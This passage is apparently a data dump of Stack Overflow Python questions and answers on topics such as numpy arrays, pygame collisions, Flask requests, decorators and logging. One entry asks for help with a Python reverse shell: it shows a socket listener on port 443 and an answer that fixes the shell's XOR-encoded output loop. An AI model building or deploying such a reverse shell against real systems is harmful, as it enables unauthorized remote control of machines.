title
stringlengths
10
172
question_id
int64
469
40.1M
question_body
stringlengths
22
48.2k
question_score
int64
-44
5.52k
question_date
stringlengths
20
20
answer_id
int64
497
40.1M
answer_body
stringlengths
18
33.9k
answer_score
int64
-38
8.38k
answer_date
stringlengths
20
20
tags
listlengths
1
5
Using python 32 bit in 64bit platform
38,385,323
<p>In RHEL7, I have a Python 2.7.11 64bit. I need to run 32 bit Python applications. How do I change the installed Python to run 32 bit rather than 64 bit?</p>
2
2016-07-14T22:37:58Z
38,385,389
<p>Because the Python interpreter is compiled you have to download and install the 32-bit version of Python. Also I don't exactly see why you would need a 32-bit version of Python to run a script since Python is an interpreter.</p> <p><a href="https://www.python.org/downloads/release/python-2712/" rel="nofollow">Pytho...
1
2016-07-14T22:45:28Z
[ "python", "linux" ]
PEP 424 __length_hint__() - Is there a way to do the same for generators or zips?
38,385,360
<p>Just came across this awesome <code>__length_hint__()</code> method for iterators from PEP 424 (<a href="https://www.python.org/dev/peps/pep-0424/" rel="nofollow">https://www.python.org/dev/peps/pep-0424/</a>). Wow! A way to get the iterator length without exhausting the iterator. </p> <p>My questions:</p> <ol> <l...
0
2016-07-14T22:41:28Z
38,385,540
<p>The purpose of this is basically just to facilitate more performant allocation of memory in Cython/C code. For example, imagine that a Cython module exposes a function that takes an iterable of custom <code>MyNetworkConnection()</code> objects and, internally, needs to create and allocate memory for data structures ...
0
2016-07-14T23:02:35Z
[ "python", "python-3.x", "python-internals" ]
PEP 424 __length_hint__() - Is there a way to do the same for generators or zips?
38,385,360
<p>Just came across this awesome <code>__length_hint__()</code> method for iterators from PEP 424 (<a href="https://www.python.org/dev/peps/pep-0424/" rel="nofollow">https://www.python.org/dev/peps/pep-0424/</a>). Wow! A way to get the iterator length without exhausting the iterator. </p> <p>My questions:</p> <ol> <l...
0
2016-07-14T22:41:28Z
38,385,613
<blockquote> <p>Wow! A way to get the iterator length without exhausting the iterator.</p> </blockquote> <p><strong>No.</strong> It's a way to get a <strong>vague hint</strong> about what the length might be. There is no requirement that it be in any way accurate.</p> <blockquote> <p>Is there a simple explanation...
2
2016-07-14T23:11:01Z
[ "python", "python-3.x", "python-internals" ]
PEP 424 __length_hint__() - Is there a way to do the same for generators or zips?
38,385,360
<p>Just came across this awesome <code>__length_hint__()</code> method for iterators from PEP 424 (<a href="https://www.python.org/dev/peps/pep-0424/" rel="nofollow">https://www.python.org/dev/peps/pep-0424/</a>). Wow! A way to get the iterator length without exhausting the iterator. </p> <p>My questions:</p> <ol> <l...
0
2016-07-14T22:41:28Z
38,386,522
<blockquote> <p>Is there a way to get the hint for zips and generators as well? Or is it something fundamental only to iterators?</p> </blockquote> <p>In the case of generator I don't think that there is a easy or automatic way of doing it, because if you give my a arbitrary generator, which I don't know how it was ...
0
2016-07-15T01:22:04Z
[ "python", "python-3.x", "python-internals" ]
Testing zmq sockets with unittest
38,385,422
<p>I'm trying to test my messaging response in one of my libraries.</p> <pre><code>import unittest from time import sleep import zmq from vexbot.messaging import Messaging class TestMessaging(unittest.TestCase): def setUp(self): self.subscribe_address = 'tcp://127.0.0.1:4006' self.publish_addres...
0
2016-07-14T22:48:57Z
38,406,332
<p>You should perform the zermq socket creation in the class constructor <code>__init__(self)</code>, which will be called once. <code>setUp()</code> is intended for things that should be done before every test.</p>
0
2016-07-15T23:37:40Z
[ "python", "zeromq", "python-unittest", "pyzmq" ]
Reverse shell using python
38,385,427
<p>I have the following listener and the reverse shell in python:</p> <p>Listener:</p> <pre><code>import socket s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", 443)) s.listen(2) print "Listening on port 443... " (client, (ip, port)) = s.accept() print " Received connection from : ", ip whil...
0
2016-07-14T22:49:12Z
38,386,290
<p>I'm guessing you have a few problems. </p> <p>first and foremost</p> <p>you need to add something like this for commands that return no output like cd:</p> <pre><code>if not en_output: en_output = bytearray("no output") for i in range(len(en_output)): en_output[i] ^= 0x41 s.send(en_output) </code></pre> ...
0
2016-07-15T00:49:19Z
[ "python", "shell" ]
Python regex error, non-gredy group unexpected behaviour
38,385,555
<p>I have patterns along the lines of:</p> <p><code>patterns=['file.html', '../file','../file.html', 'file/', 'file']</code></p> <p>Id like a regular expression to match only file in these scenarios. <code>rgx = re.compile(r"^ #begin line (\.\./)? #1st group non-greedy (.*)? #2nd group non-greedy (\.html$)? #3rd grou...
-1
2016-07-14T23:03:56Z
38,385,740
<p>Yeah @melpomeme, thanks for the non-greedy clarification. Moved the ? immediately after the *qualifier and not around group (). now it works, thanks</p>
0
2016-07-14T23:26:11Z
[ "python", "regex" ]
RESOLVED: Error Message When Converting to Grayscale in Python Using PIL?
38,385,558
<p>So, I've got PIL installed (at least I think properly) to convert color images to grayscale, and when I use this code </p> <pre><code>from PIL import Image image_file = Image.open("James.png") # open colour image image_file = image_file.convert('1') # convert image to black and white image_file.save('Gray.png') </...
0
2016-07-14T23:04:28Z
38,385,601
<p>Your problem could be that the image file "James.png" is not in the same directory as your script, in your example on your Desktop. Is that the case?</p> <p>Cheers</p>
1
2016-07-14T23:10:12Z
[ "python", "image", "python-imaging-library" ]
Django Reportlab using HTML
38,385,591
<p>Hello guys I'm trying to make a little PDF with python django using the reportlab library I've made some pdf with just some text but I have no idea how to do it with html, I wonder if you guys can give me an example using something like <code>&lt;h1&gt;Hello&lt;/h1&gt;</code> or something with html, because if I use...
0
2016-07-14T23:08:48Z
38,385,900
<p>Not directly answering your question, but you can create PDF via HTML, <a href="https://pypi.python.org/pypi/django-wkhtmltopdf" rel="nofollow">https://pypi.python.org/pypi/django-wkhtmltopdf</a></p>
0
2016-07-14T23:49:50Z
[ "python", "html", "django", "pdf", "reportlab" ]
Python urllib/lib2 error checking & converting between 2.7 and 3.4
38,385,616
<p>The following code works fine most of the time unless the internet connection gets bogged down and then it kills the program and doesn't finish off the complete program. How do I go about doing the error checking so I can go up and have it rerun the html link again? Also I'm looking to simplify my entire computer ...
0
2016-07-14T23:11:27Z
38,386,084
<p>As for your primary question about error handling, which I do not entirely address in this answer, can you be more specific about "go up and have it rerun the html link again?" I'm not exactly sure how you intend to handle the error: do you intend to start the whole process over or pick up a the last successful url ...
0
2016-07-15T00:17:55Z
[ "python", "urllib" ]
How to make a numpy array of form ([1.], [2.], [3.]...) from list?
38,385,626
<p>I am trying to make a numpy array of the form <code>([1.], [2.], ...)</code> from a list <code>[1, 2, 3]</code> so I can use it as an input for <code>sklearn's linear_model</code>. </p> <p>This command</p> <pre><code>np.array(test_list) </code></pre> <p>produces this kind of array:</p> <pre><code>array([1, 2, 3,...
2
2016-07-14T23:12:47Z
38,385,648
<p>You can insert a new axis and transpose:</p> <pre><code>&gt;&gt;&gt; arr = np.array([1, 2, 3, 4], dtype=float) &gt;&gt;&gt; arr[None, ...].T array([[1.], [2.], [3.], [4.]]) </code></pre> <p>As with most things <code>numpy</code>, there's probably a better way, but this works alright :-).</p> ...
2
2016-07-14T23:14:50Z
[ "python", "numpy" ]
How to make a numpy array of form ([1.], [2.], [3.]...) from list?
38,385,626
<p>I am trying to make a numpy array of the form <code>([1.], [2.], ...)</code> from a list <code>[1, 2, 3]</code> so I can use it as an input for <code>sklearn's linear_model</code>. </p> <p>This command</p> <pre><code>np.array(test_list) </code></pre> <p>produces this kind of array:</p> <pre><code>array([1, 2, 3,...
2
2016-07-14T23:12:47Z
38,385,653
<p>+1 to mgilson's answer. Here's another way:</p> <pre><code>arr = np.array([np.array([float(i)]) for i in test_list]) </code></pre>
2
2016-07-14T23:15:15Z
[ "python", "numpy" ]
How to make a numpy array of form ([1.], [2.], [3.]...) from list?
38,385,626
<p>I am trying to make a numpy array of the form <code>([1.], [2.], ...)</code> from a list <code>[1, 2, 3]</code> so I can use it as an input for <code>sklearn's linear_model</code>. </p> <p>This command</p> <pre><code>np.array(test_list) </code></pre> <p>produces this kind of array:</p> <pre><code>array([1, 2, 3,...
2
2016-07-14T23:12:47Z
38,385,706
<p>You could just reshape:</p> <pre><code> import numpy as np arr = np.array([1, 2, 3, 4, 5]) print(arr.reshape(arr.size, 1).astype(float)) </code></pre> <p>Which would give you:</p> <pre><code>[[ 1.] [ 2.] [ 3.] [ 4.] [ 5.]] </code></pre>
2
2016-07-14T23:21:35Z
[ "python", "numpy" ]
How to make a numpy array of form ([1.], [2.], [3.]...) from list?
38,385,626
<p>I am trying to make a numpy array of the form <code>([1.], [2.], ...)</code> from a list <code>[1, 2, 3]</code> so I can use it as an input for <code>sklearn's linear_model</code>. </p> <p>This command</p> <pre><code>np.array(test_list) </code></pre> <p>produces this kind of array:</p> <pre><code>array([1, 2, 3,...
2
2016-07-14T23:12:47Z
38,385,884
<p>You could also use NumPy's <a href="http://docs.scipy.org/doc/numpy/reference/generated/numpy.atleast_2d.html" rel="nofollow"><code>atleast_2d</code></a> and transpose:</p> <pre><code>In [270]: np.atleast_2d([1, 2, 3, 4, 5]).T.astype(float) Out[270]: array([[ 1.], [ 2.], [ 3.], [ 4.], [...
1
2016-07-14T23:47:13Z
[ "python", "numpy" ]
Multie Workers on a list of items
38,385,663
<p>I am attempting to generate multiple threads, each calling a function that processes an item from a list. Illustration below, however I am getting the following error and im not entirely sure why <code>TypeError: stuff() takes exactly 1 argument (56 given)</code>. The below code is a snippet to test the functionalit...
1
2016-07-14T23:16:54Z
38,385,679
<p>You should pass a tuple to <code>args</code>. Without a comma <code>,</code>, it is not a tuple -- it is just a simple expression that is parenthesized. </p> <pre><code>thread1 = threading.Thread(target=stuff, args=(filename,)) ^^^ </code></pre>
2
2016-07-14T23:18:58Z
[ "python", "multithreading" ]
Best practices for line breaking in python on method declarations and long lists
38,385,701
<p>In a recent code review, it was mentioned that it is better to break parameters for <strong>init</strong> and other methods onto their own lines because it is easier to read. I have never seen this before and was wondering if this is the pythonic way to handle this scenario. </p> <p><strong>Parameters on separate l...
1
2016-07-14T23:21:11Z
38,385,733
<p>I don't think that there is any <strong>officially</strong> recognized preference here (other than that lines shouldn't go over X characters -- where X = 80 if you're following <a href="https://www.python.org/dev/peps/pep-0008/" rel="nofollow">PEP8</a>). Different projects may have different preferences (or no pref...
0
2016-07-14T23:25:10Z
[ "python", "python-3.x" ]
Query based on index value or value in a column in python
38,385,737
<p>I have a pandas data frame from which I computed the mean scores of students. Student scores are stored in <code>data</code> as below:</p> <pre><code> name score 0 John 90 1 Mary 87 2 John 100 3 Suzie 90 4 Mary 88 </code></pre> <p>By using <code>meanscore = data.groupby("name").mean()</code> I obtai...
3
2016-07-14T23:25:34Z
38,385,750
<p>You can do:</p> <pre><code>meanscore['score']['John'] </code></pre> <p>Example:</p> <pre> >>> df name score 0 John 90 1 Mary 87 2 John 100 3 Suzie 90 4 Mary 88 >>> meanscore = df.groupby('name').mean() >>> meanscore score name John 95.0 Mary 87.5 Suzie 90.0 >>> mea...
3
2016-07-14T23:28:07Z
[ "python", "pandas" ]
Query based on index value or value in a column in python
38,385,737
<p>I have a pandas data frame from which I computed the mean scores of students. Student scores are stored in <code>data</code> as below:</p> <pre><code> name score 0 John 90 1 Mary 87 2 John 100 3 Suzie 90 4 Mary 88 </code></pre> <p>By using <code>meanscore = data.groupby("name").mean()</code> I obtai...
3
2016-07-14T23:25:34Z
38,385,771
<p>You can use <a href="http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.loc.html" rel="nofollow"><code>loc</code></a>:</p> <pre><code>In [11]: meanscore Out[11]: score name John 95.0 Mary 87.5 Suzie 90.0 In [12]: meanscore.loc["John", "score"] Out[12]: 95.0 </code></pre>
4
2016-07-14T23:30:30Z
[ "python", "pandas" ]
unknown issue with objects
38,385,809
<p><a href="http://pastebin.com/BAtd71H7" rel="nofollow">http://pastebin.com/BAtd71H7</a> When when i press any mouse button, nothing happens. I know that the problem is that, there is no bullet to be found inside the list: bullets. The exact method worked with my other project, but not with this. What have I done wron...
-4
2016-07-14T23:34:40Z
38,388,762
<p>Jorma Jarppinen got it, you need to move your loop through Bullets &lt;51> to after the screen fill &lt;71>. Hope that works out for you.</p>
0
2016-07-15T05:54:26Z
[ "python", "pygame" ]
Pygame spritecollide hitboxes
38,385,826
<p>I am working on a simple 2D platformer, but I am having some trouble with the hitboxes of my sprites. I use the pygame.sprite.spritecollide function to generate a list of blocks(platforms) touching my player sprite.</p> <p>Here is my player class:</p> <pre><code>class Player( pygame.sprite.Sprite ): def __in...
0
2016-07-14T23:37:12Z
38,385,977
<p>It's hard to diagnose without <em>any</em> debugging trace, but I have an idea or two.</p> <p>First of all, dump a debugging trace: print the salient values at each time step: position of the player block, positions of colliding blocks, and applicable velocities. This should give you a table-like snapshot at each ...
0
2016-07-15T00:01:03Z
[ "python", "pygame", "collision-detection", "platform" ]
Using Selenium after authenticated login session with Scrapy
38,385,832
<p>after looking around, it seems that if you login to a website through Scrapy, the authenticated login session doesn't transfer over if you try to use Selenium within the spider. Is there a way to transfer that session over to Selenium? Or would I have to login to the website all over again with Selenium?</p> <p>Tha...
1
2016-07-14T23:37:51Z
38,389,830
<p>The session is most likely just your cookie. So to convert to carry your session over to Selenium webdriver you need to set cookies of scrapy requests to selenium.</p> <p>Scrapy is smart enough to keep track of cookies by itself you can find the cookies of the current request in <code>response.headers</code>.<br> T...
0
2016-07-15T07:04:19Z
[ "python", "python-2.7", "selenium", "scrapy" ]
Bug in simple text editor (Python)
38,385,983
<p>As a beginner creating a simple python text editor I have encountered a confusing bug in which I am able to print out the text file with the read_file() function when I first open it, but after I amend the text file using write_file(), reading the file again simple returns whitespace. </p> <p>Additionally, any crit...
0
2016-07-15T00:02:23Z
38,386,041
<p>First, <strong>file</strong> is a predefined package; please don't use it for a variable name, or you may have trouble getting to some of the facilities. Try <strong>my_file</strong> or just the C-language <strong>fp</strong> (for "file pointer").</p> <p>After you write new information to the file, your position p...
1
2016-07-15T00:10:31Z
[ "python" ]
Bug in simple text editor (Python)
38,385,983
<p>As a beginner creating a simple python text editor I have encountered a confusing bug in which I am able to print out the text file with the read_file() function when I first open it, but after I amend the text file using write_file(), reading the file again simple returns whitespace. </p> <p>Additionally, any crit...
0
2016-07-15T00:02:23Z
38,386,147
<p>When it comes to reading and writing files in python, if you do not call the method <code>(filename).close()</code> after making a change to a file, it will not save anything to it because it thinks you're still a) writing to it or b) still reading it!</p> <p>Hope this helps!</p>
0
2016-07-15T00:28:15Z
[ "python" ]
Setting parameters with decorators vs nested functions
38,385,991
<p>I need to call a multi-parameter function many times while all but one parameter is fixed. I was thinking of using decorators:</p> <pre><code># V1 - with @decorator def dec_adder(num): def wrap(fun): def wrapped_fun(n1): return fun(n1, second_num=num) return wrapped_fun return wr...
2
2016-07-15T00:03:23Z
38,386,065
<p><a href="https://docs.python.org/3/library/functools.html#functools.partial" rel="nofollow"><code>functools.partial</code></a> should work nicely in this case:</p> <pre><code>from functools import partial def adder(n1, n2): return n1 + n2 adder_2 = partial(adder, 2) adder_2(5) </code></pre> <p>Its' docstrin...
2
2016-07-15T00:14:25Z
[ "python", "decorator", "python-decorators" ]
Setting parameters with decorators vs nested functions
38,385,991
<p>I need to call a multi-parameter function many times while all but one parameter is fixed. I was thinking of using decorators:</p> <pre><code># V1 - with @decorator def dec_adder(num): def wrap(fun): def wrapped_fun(n1): return fun(n1, second_num=num) return wrapped_fun return wr...
2
2016-07-15T00:03:23Z
38,386,098
<p>Another possible solution - you can use functools and parametrized decorator:</p> <pre><code>from functools import wraps def decorator(num): def decor(f): @wraps(f) def wrapper(n,*args,**kwargs): return f(n+num,*args,**kwargs) return wrapper return decor @decorator(num...
2
2016-07-15T00:20:21Z
[ "python", "decorator", "python-decorators" ]
How can I get same result with same seed set at random.shuffle()
38,386,134
<p>I have the following code:</p> <pre><code>import random SEED = 448 myList = [ 'list', 'elements', 'go', 'here' ] random.seed(SEED) random.shuffle(myList) print "RUN1: ", myList random.seed(SEED) random.shuffle(myList) print "RUN2: ", myList </code></pre> <p>Now I expect RUN1 and RUN2, produces the same resul...
1
2016-07-15T00:26:52Z
38,386,194
<p>Just putting @Tim Peters' comment into an answer. You need to reset the list each time, since <code>random.shuffle</code> is destructive:</p> <pre><code>import random SEED = 448 original_list = ['list', 'elements', 'go', 'here'] random.seed(SEED) my_list = original_list[:] random.shuffle(my_list) print "RUN1: ", ...
3
2016-07-15T00:35:27Z
[ "python", "math", "random" ]
Using WinPython as Interpreter for PyCharm
38,386,252
<p>sorry for a simple question! I want to use WinPython (recently installed) as a interpreter for PyCharm Community Edition but am getting an error </p> <blockquote> <p>"The selected file is not a valid home for Python SDK" </p> </blockquote> <p>(see image) </p> <p>Does anybody have any idea of what the issue may ...
0
2016-07-15T00:42:53Z
38,386,282
<p>You need to select the folder where a <code>python.exe</code> (and possibly <code>pythonw.exe</code>) exists, which looks like maybe the <code>python-3.4.4.amd64</code> folder</p> <p>And, according to <a href="http://stackoverflow.com/a/25948973/2308683">this answer</a></p> <blockquote> <p>open PyCharm and add a...
0
2016-07-15T00:47:18Z
[ "python", "pycharm", "interpreter" ]
Using WinPython as Interpreter for PyCharm
38,386,252
<p>sorry for a simple question! I want to use WinPython (recently installed) as a interpreter for PyCharm Community Edition but am getting an error </p> <blockquote> <p>"The selected file is not a valid home for Python SDK" </p> </blockquote> <p>(see image) </p> <p>Does anybody have any idea of what the issue may ...
0
2016-07-15T00:42:53Z
38,386,432
<p>Looks like the program doesn't have permission for the directory.</p>
0
2016-07-15T01:09:23Z
[ "python", "pycharm", "interpreter" ]
Not a package error even if I had a __init__.py in it
38,386,307
<p>I am doing a project on a Macbook, its system is OS X 10.11.5. I used Python 3.5 and had a directory like this </p> <pre><code>rec-par/ rec/ __init__.py cle/ __init__.py c.py par/ __init__.py b.py util/ __init__.py ...
-1
2016-07-15T00:51:50Z
38,386,325
<p>The module in your code is called "rec-par", but when trying to import it you refer to "rec.par".</p>
0
2016-07-15T00:54:43Z
[ "python", "python-import" ]
Not a package error even if I had a __init__.py in it
38,386,307
<p>I am doing a project on a Macbook, its system is OS X 10.11.5. I used Python 3.5 and had a directory like this </p> <pre><code>rec-par/ rec/ __init__.py cle/ __init__.py c.py par/ __init__.py b.py util/ __init__.py ...
-1
2016-07-15T00:51:50Z
38,461,405
<p>OK, I had solved this problem. In the directory <code>util/__pycache__</code> There was a file <code>par.cpython-35.py</code> which had the same name with the directory package. This caused a confusion. After it been deleted , The problem solved.</p>
0
2016-07-19T14:30:11Z
[ "python", "python-import" ]
botocore.exceptions.ProfileNotFound when code run on AWS elastic beanstalk, but locally it's OK
38,386,360
<p>I am trying to run a python application on an Elastic Beanstalk which need to have permissions for the SQS and Dynamo DB.</p> <p>I have created a profile under ~/.aws/config file like this:</p> <pre><code>[profile yolo] aws_access_key_id = some-key aws_secret_access_key = some-secret region = some-region </code></...
1
2016-07-15T00:59:11Z
38,409,312
<p>Try changing your .aws/config file header to - <code>[yolo]</code> instead of <code>[profile yolo]</code>, and also separating the config and credentials to two files, as described in this link - <a href="http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html" rel="nofollow">http://docs.aws.am...
0
2016-07-16T08:29:32Z
[ "python", "amazon-web-services", "elastic-beanstalk", "boto3" ]
confused about dictionary in python
38,386,382
<p>I have the following dict</p> <pre><code>commands = { 'cmd1':"configure terminal", 'cmd2':"router", 'cmd3':"MPLS" } </code></pre> <p>when I execute the following code:</p> <pre><code> `for cmd in commands: print(cmd) </code></pre> <p>I always get cmd3 as 1st print, why is that?</p> <p>I am doi...
0
2016-07-15T01:03:02Z
38,386,401
<p>Python dictionaries are unordered. Things will come out of them in some order when you iterate over them, but the order probably will not be the same order in which you added them. This is by design.</p> <p>You can use <code>collections.orderedDict</code> if you need order. Or, in this case, since the keys are not ...
1
2016-07-15T01:05:38Z
[ "python" ]
confused about dictionary in python
38,386,382
<p>I have the following dict</p> <pre><code>commands = { 'cmd1':"configure terminal", 'cmd2':"router", 'cmd3':"MPLS" } </code></pre> <p>when I execute the following code:</p> <pre><code> `for cmd in commands: print(cmd) </code></pre> <p>I always get cmd3 as 1st print, why is that?</p> <p>I am doi...
0
2016-07-15T01:03:02Z
38,386,404
<p>To see what the values are - use sorted on the resulting list of items:</p> <pre><code>for key,value in sorted(commands.items()): print(key) print(value) print commands[key] # same as line above </code></pre>
0
2016-07-15T01:06:00Z
[ "python" ]
Find duplicates in a array/list of integers
38,386,387
<p>Given an <code>array/list</code> of <code>integers</code>, output the duplicates. </p> <p>Also, what I am really looking for: what solutions have best time performance? Best space performance? Is it possible to have both best time and best space performance? Just curious. Thank you!</p> <p>For example: given the l...
3
2016-07-15T01:03:56Z
38,386,673
<p>Finding duplicates is very similar to sorting. That is, each element needs to be directly or indirectly compared to all other elements to find if there are duplicates. One could modify quicksort to output elements that have an adjacent matching element with O(n) spacial complexity and O(n*log(n)) average time comple...
1
2016-07-15T01:44:33Z
[ "python", "arrays", "algorithm", "list", "sorting" ]
Find duplicates in a array/list of integers
38,386,387
<p>Given an <code>array/list</code> of <code>integers</code>, output the duplicates. </p> <p>Also, what I am really looking for: what solutions have best time performance? Best space performance? Is it possible to have both best time and best space performance? Just curious. Thank you!</p> <p>For example: given the l...
3
2016-07-15T01:03:56Z
38,386,844
<p>One way to get the duplicate:</p> <pre><code>l = [4,1,7,9,4,5,2,7,6,5,3,6] import collections print([item for item, count in collections.Counter(l).items() if count &gt; 1]) </code></pre>
1
2016-07-15T02:09:08Z
[ "python", "arrays", "algorithm", "list", "sorting" ]
Find duplicates in a array/list of integers
38,386,387
<p>Given an <code>array/list</code> of <code>integers</code>, output the duplicates. </p> <p>Also, what I am really looking for: what solutions have best time performance? Best space performance? Is it possible to have both best time and best space performance? Just curious. Thank you!</p> <p>For example: given the l...
3
2016-07-15T01:03:56Z
38,387,175
<p>There are multiple solutions to finding duplicates. Given this question is completely generic, one can assume that given a list of <code>n</code> values, the number of duplicates lie in the range <code>[0, n/2]</code>.</p> <p>What are the possible methods you can think of?</p> <ol> <li><p><strong>Hash Table approa...
1
2016-07-15T02:53:43Z
[ "python", "arrays", "algorithm", "list", "sorting" ]
Python: How to put multiple and/or conditionals in an if statement?
38,386,402
<p>I'm new to python and thought this was somewhat simple, but am running into some problems here. I'm trying to put multiple conditionals in an if statement. The part of the code I'm trying to do this to looks like this:</p> <pre><code>if (pp_or_bi &lt; 0.5 and (ppar &gt; 0 or ppar &lt; 0) and (bpar &gt; 0 or bpar &l...
0
2016-07-15T01:05:47Z
38,386,480
<p>If all you are doing is checking if ppar or bipar is 0 couldn't the following work?</p> <pre><code>if (pp_or_bi &lt; 0.5 and ppar!=0 and bpar!=0 ): tab.append(ppar[pele + 10*psel]) else: tab.append(bipar[bele + 8*bint]) </code></pre>
1
2016-07-15T01:15:58Z
[ "python", "arrays", "conditional" ]
Python: How to put multiple and/or conditionals in an if statement?
38,386,402
<p>I'm new to python and thought this was somewhat simple, but am running into some problems here. I'm trying to put multiple conditionals in an if statement. The part of the code I'm trying to do this to looks like this:</p> <pre><code>if (pp_or_bi &lt; 0.5 and (ppar &gt; 0 or ppar &lt; 0) and (bpar &gt; 0 or bpar &l...
0
2016-07-15T01:05:47Z
38,386,550
<p>If you divide by 0, you will have a <code>ZeroDivisionError</code>. You can catch this error with a <code>try</code> statement like this:</p> <pre><code>try: if pp_or_bi &lt; 0.5: tab.append(ppar[pele + 10*psel]) else: tab.append(bipar[bele + 8*bint]) except ZeroDivisionError: pass <...
0
2016-07-15T01:25:43Z
[ "python", "arrays", "conditional" ]
Python: How to put multiple and/or conditionals in an if statement?
38,386,402
<p>I'm new to python and thought this was somewhat simple, but am running into some problems here. I'm trying to put multiple conditionals in an if statement. The part of the code I'm trying to do this to looks like this:</p> <pre><code>if (pp_or_bi &lt; 0.5 and (ppar &gt; 0 or ppar &lt; 0) and (bpar &gt; 0 or bpar &l...
0
2016-07-15T01:05:47Z
38,386,551
<p>If ppar and bpar are lists and you want to ensure that its particular element is non-zero before appending it to 'tab'. Then you can put an extra check and do something along this line:</p> <pre><code>if (pp_or_bi &lt; 0.5): if (ppar[pele + 10*psel] != 0 ): tab.append(ppar[pele + 10*psel]) else: if ...
0
2016-07-15T01:25:49Z
[ "python", "arrays", "conditional" ]
Python: How to put multiple and/or conditionals in an if statement?
38,386,402
<p>I'm new to python and thought this was somewhat simple, but am running into some problems here. I'm trying to put multiple conditionals in an if statement. The part of the code I'm trying to do this to looks like this:</p> <pre><code>if (pp_or_bi &lt; 0.5 and (ppar &gt; 0 or ppar &lt; 0) and (bpar &gt; 0 or bpar &l...
0
2016-07-15T01:05:47Z
38,386,576
<p>I ran the following code:</p> <pre><code>pp_or_bi = 0.1 ppar = 2 bpar = 3 tab = [] if (pp_or_bi &lt; 0.5 and (ppar &gt; 0 or ppar &lt; 0) and (bpar &gt; 0 or bpar &lt; 0)): print('first worked') else: print('second worked') </code></pre> <p>and it worked fine. By changing the values I got the appropriate ...
0
2016-07-15T01:29:07Z
[ "python", "arrays", "conditional" ]
Python - loop inside ternary operator
38,386,421
<p>I am learning python, and trying to use some ternary operators.</p> <p>I am trying to make the function below using a ternary:</p> <pre><code>def array_count9(nums): count = 0 for i in nums: if i == 9: count += 1 return count </code></pre> <p>I have tried:</p> <pre><code>def array...
1
2016-07-15T01:08:09Z
38,386,455
<p>I think this is the most idiomatic way to write the code:</p> <pre><code>def array_count9(nums): return sum(num == 9 for num in nums) </code></pre> <p>But you could also do this if you want to use the if/else construct:</p> <pre><code>def array_count9(nums): return sum(1 if num == 9 else 0 for num in nums...
1
2016-07-15T01:13:27Z
[ "python", "ternary-operator" ]
Python - loop inside ternary operator
38,386,421
<p>I am learning python, and trying to use some ternary operators.</p> <p>I am trying to make the function below using a ternary:</p> <pre><code>def array_count9(nums): count = 0 for i in nums: if i == 9: count += 1 return count </code></pre> <p>I have tried:</p> <pre><code>def array...
1
2016-07-15T01:08:09Z
38,387,471
<p>The blueprint for a ternary operator is:</p> <pre><code>condition_is_true if condition else condition_is_false </code></pre> <p>The statement where the syntax error occurs is at</p> <pre><code>count += 1 if i == 9 else pass for i in nums </code></pre> <p>ie <code>count += 1</code> does not meet the blueprint spe...
1
2016-07-15T03:36:28Z
[ "python", "ternary-operator" ]
Python - loop inside ternary operator
38,386,421
<p>I am learning python, and trying to use some ternary operators.</p> <p>I am trying to make the function below using a ternary:</p> <pre><code>def array_count9(nums): count = 0 for i in nums: if i == 9: count += 1 return count </code></pre> <p>I have tried:</p> <pre><code>def array...
1
2016-07-15T01:08:09Z
38,388,354
<p>Okay so using your examples was a little tricky because a ternary operator can't include anything outside it's specific blueprint; that being the for loop you're trying to pass with it.</p> <pre><code>count += 1 if i == 9 for i in nums else pass </code></pre> <p>So after fiddling around with the code:</p> <pre><c...
0
2016-07-15T05:21:07Z
[ "python", "ternary-operator" ]
How can I pass a child processes stdout with queue? Python
38,386,445
<p>I have a Logger class with the following:</p> <pre><code>class Logger(): def __init__(self): self.terminal = sys.__stdout___ self.log = open('logFile.log', 'w') def write(message): self.terminal.write(message) self.log.write(message) </code></pre> <p>a main with the followin...
0
2016-07-15T01:11:32Z
38,421,033
<p>One solution could be to use the <code>logging</code> module.<br> A logger is disponible in <code>multiprocessing.util</code> and can be use to generate thread safe logs:</p> <pre class="lang-py prettyprint-override"><code>import time import logging import multiprocessing as mp import multiprocessing.util as util f...
1
2016-07-17T12:09:40Z
[ "python", "logging", "multiprocessing", "stdout" ]
How do I get python unittest to test that a function returns a csv.reader object?
38,386,463
<p>I'm using python 2.7 and delving into TDD. I'm trying to test a simple function that uses the csv module and returns a csv.reader object. I want to test that the correct type of object is being returned with the assertIsInstance test however I'm having trouble figuring out how to make this work. </p> <pre><code>...
1
2016-07-15T01:14:12Z
38,400,969
<pre><code>self.assertTrue(str(type(readerObject)), "_csv.reader") </code></pre> <p>I don't think that your first test (above) is so bad (I fixed a small typo there; you had an extra closing parenthesis). It checks that the type name is exactly "_csv.reader". On the other hand, the underscore in "_csv" tells you tha...
0
2016-07-15T16:26:52Z
[ "python", "unit-testing", "csv", "tdd" ]
jquery $.get flask function/route 400 bad request
38,386,497
<p>Since i'm working with a relay on a raspberry pi i'm trying to create a page where the button basically switches the relay on/off. Initially i had the flask file request the parameter (button name) from the template and was appropriately taking action on the basis of the button clicked and the relay associated with ...
0
2016-07-15T01:19:20Z
38,386,557
<p>Try <code>onclick="b1(); return false;"</code> (for each button) to prevent the default behavior of submitting the form.</p>
1
2016-07-15T01:26:03Z
[ "jquery", "python", "flask", "jinja2" ]
python logging - message not showing up in child
38,386,500
<p>I am having some difficulties using python's logging. I have two files, main.py and mymodule.py. Generally main.py is run, and it will import mymodule.py and use some functions from there. But sometimes, I will run mymodule.py directly. </p> <p>I tried to make it so that logging is configured in only 1 location,...
1
2016-07-15T01:19:40Z
38,386,793
<p>Loggers exist in a hierarchy, with a root logger (retrieved with <code>logging.getLogger()</code>, no arguments) at the top. Each logger inherits configuration from its parent, with any configuration on the logger itself overriding the inherited configuration. In this case, you are never configuring the root logger,...
0
2016-07-15T02:02:17Z
[ "python", "logging" ]
python logging - message not showing up in child
38,386,500
<p>I am having some difficulties using python's logging. I have two files, main.py and mymodule.py. Generally main.py is run, and it will import mymodule.py and use some functions from there. But sometimes, I will run mymodule.py directly. </p> <p>I tried to make it so that logging is configured in only 1 location,...
1
2016-07-15T01:19:40Z
39,420,443
<p>Chepner is correct. I got absorbed into this problem. The problem is simply in your main script</p> <pre><code>16 log = logging.getLogger() # use this form to initialize the root logger 17 #log = logging.getLogger(__name__) # never use this one </code></pre> <p>If you use line 17, then your imported python modul...
0
2016-09-09T22:15:30Z
[ "python", "logging" ]
Change the value of Global Variable in Python3
38,386,547
